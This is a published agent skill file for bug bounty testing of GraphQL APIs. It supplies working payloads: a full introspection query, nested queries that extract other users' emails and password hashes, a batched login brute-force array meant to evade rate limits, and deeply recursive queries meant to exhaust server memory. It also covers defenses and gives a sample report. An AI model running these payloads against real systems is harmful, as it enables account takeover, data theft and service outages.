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Graphql injection introspection

Skill ShulkwiSEC/bb-huge/skills/curated/graphql-injection-introspection

bb-huge 🤗 , Personal bug bounty findings hub and bug bounty orchestration for multiple agents

Install
npx -y skills add ShulkwiSEC/bb-huge --skill graphql-injection-introspection

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Identify and exploit GraphQL API vulnerabilities by leveraging Introspection queries to dump the entire database schema, performing query batching to bypass rate limits (brute forcing), and extracting deeply nested unauthorized data via graph relationship abuse.

The file declares its own license as Apache-2.0. That is the author’s claim about this one file, and it is not the same thing as the license GitHub reports for the repository, which is listed with the other numbers below.

SKILL.md

9.5 KB, as published. Nobody here has run it

GraphQL Security & Introspection

When to Use

  • When intercepting web traffic that sends POST requests to /graphql, /v1/graphql, or /api/graphql.
  • When requests contain {"query": "query { ... }"} or {"variables": {...}} JSON structures.
  • To rapidly map the entire application data model (Introspection), or to test for IDOR/BOLA by exploiting deep relational nesting.

Prerequisites

  • Authorized scope and target URLs from bug bounty program
  • Burp Suite Professional (or Community) configured with browser proxy
  • Familiarity with OWASP Top 10 and common web vulnerability classes
  • SecLists wordlists for fuzzing and enumeration

Workflow

Phase 1: Detecting GraphQL & Enabling Introspection

# Concept: Unlike REST, GraphQL uses a single endpoint. If "Introspection" is enabled,
# the GraphQL server will literally explain its entire structure (all queries, mutations, 
# and object types) to anyone requesting it.

# 1. Standard Introspection Query (Send via POST /graphql)
{"query":"\n    query IntrospectionQuery {\n      __schema {\n        queryType { name }\n        mutationType { name }\n        subscriptionType { name }\n        types {\n          ...FullType\n        }\n        directives {\n          name\n          description\n          locations\n          args {\n            ...InputValue\n          }\n        }\n      }\n    }\n\n    fragment FullType on __Type {\n      kind\n      name\n      description\n      fields(includeDeprecated: true) {\n        name\n        description\n        args {\n          ...InputValue\n        }\n        type {\n          ...TypeRef\n        }\n        isDeprecated\n        deprecationReason\n      }\n      inputFields {\n        ...InputValue\n      }\n      interfaces {\n        ...TypeRef\n      }\n      enumValues(includeDeprecated: true) {\n        name\n        description\n        isDeprecated\n        deprecationReason\n      }\n      possibleTypes {\n        ...TypeRef\n      }\n    }\n\n    fragment InputValue on __InputValue {\n      name\n      description\n      type { ...TypeRef }\n      defaultValue\n    }\n\n    fragment TypeRef on __Type {\n      kind\n      name\n      ofType {\n        kind\n        name\n        ofType {\n          kind\n          name\n          ofType {\n            kind\n            name\n            ofType {\n              kind\n              name\n              ofType {\n                kind\n                name\n                ofType {\n                  kind\n                  name\n                  ofType {\n                    kind\n                    name\n                  }\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  "}

# 2. Result Analysis:
# If successful, you will receive a massive JSON dump containing the schema.
# Copy the JSON and load it into a tool like GraphQL Voyager (visual graph) or InQL (Burp Extension) to map the database visually.

Phase 2: Exploiting Graph Relationships (IDOR)

# Concept: A developer might secure the `user(id: 5)` query. But what if `company` 
# has a relationship field linking back to `users`? You can bypass the authorization 
# check by traversing the graph backwards.

# Assume we are NOT authorized to query other users:
query {
  user(id: 1) { email } # Returns Error: Denied
}

# Malicious nested traversal:
# We query a public company, then request its employees, reaching the user data anyway!
query {
  company(id: 99) {
    name
    employees {
      id
      email
      password_hash
    }
  }
}
# Result: Successful extraction of all email addresses and hashes!

Phase 3: Query Batching (Rate Limit Bypass / Brute Force)

# Concept: GraphQL supports "query batching" allowing clients to send arrays of multiple 
# queries in one single HTTP request. This completely defeats traditional IP-based WAF 
# HTTP rate limits.

# Standard Rate Limiting sees ONE incoming HTTP request. But inside that request...
[
  {"query": "mutation { login(user: \"admin\", pass: \"12345\") { token } }"},
  {"query": "mutation { login(user: \"admin\", pass: \"password\") { token } }"},
  {"query": "mutation { login(user: \"admin\", pass: \"admin123\") { token } }"},
  {"query": "mutation { login(user: \"admin\", pass: \"admin1234\") { token } }"}
  // ... Paste 50,000 queries here in one JSON array
]

# We executed 50,000 login attempts in a single network packet.

Phase 4: Denial of Service (Deep Nested Queries)

# Concept: Because GraphQL handles relationships dynamically, an attacker can request
# infinitely recursive relationships, crashing the backend server's CPU/Memory.

query {
  author(id: 1) {
    books {
      author {
        books {
          author {
            books {
              author {
                name    # Repeat 100 times until the backend runs out of memory (OOM crash)
              }
            }
          }
        }
      }
    }
  }
}

Decision Point 🔀

flowchart TD
    A[Locate /graphql Endpoint] --> B{Run Introspection Query}
    B -->|Enabled| C[Export Schema. Map internal structure.]
    B -->|Disabled| D[Fuzz field names via Field Suggestion errors ('Did you mean...?')]
    C --> E[Test Nested Data Extraction IDORs]
    C --> F[Test Aliased Query Batching for Brute Force]
    C --> G[Test Recursive Denial of Service]

🔵 Blue Team Detection & Defense

  • Disable Introspection: Production environments must strictly disable Introspection globally. It is designed for development and debugging, not public consumption.
  • Implement Depth Limitations: Prevent recursive Denial of Service attacks by enforcing query depth limits (e.g., maximum depth of 5 nested relationships) in the GraphQL engine (Apollo/Relay).
  • Disable Batching: Unless specifically required by the frontend client for performance, disable array-based query batching to prevent unmitigated brute-forcing and WAF evasion.
  • Resolver-Level Authorization: Do not authorize data access at the top-level query path. Authorization must be performed at the node/resolver level so accessing user via company.employees checks the exact same permissions as querying user(id: 5) directly.

Key Concepts

ConceptDescription
GraphQLA query-language API architecture alternative to REST allowing clients to request exactly the data payload they need, no more, no less
IntrospectionA built-in system allowing a GraphQL client to query the GraphQL server for information about the underlying schema and types
Query BatchingSending an array of multiple distinct GraphQL operations in a single HTTP POST request
ResolverA function in the backend code responsible for fetching the data for a specific field within the GraphQL schema

Output Format

Bug Bounty Report: WAF Rate Limit Bypass via GraphQL Batching
=============================================================
Vulnerability: Application-Level Denial of Service & Authentication Bypass
Severity: High (CVSS 7.5)
Target: POST /graphql

Description:
The authentication endpoint utilizes GraphQL mutations (`loginMutation`) to process user logins. While the Cloudflare edge WAF limits HTTP requests to 10 per minute, the backend GraphQL server (Apollo) permits Query Batching. An attacker can construct a single HTTP request containing an array of 5,000 distinct login mutations, executing a massive brute-force attack entirely circumventing the HTTP rate limiter.

Reproduction Steps:
1. Intercept a standard login request.
2. Modify the JSON payload from a single object `{ "query": "mutation { login..." }` into a JSON array:
   `[ {"query": "mutation... pass='1'"}, {"query": "mutation... pass='2'"} ]`
3. Forward the request.
4. The server responds with an array of authentication failures and, sequentially, the successful authorization token.

Impact:
Immediate circumvention of brute-force protections allowing rapid credential stuffing resulting in Account Takeover (ATO).

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

References

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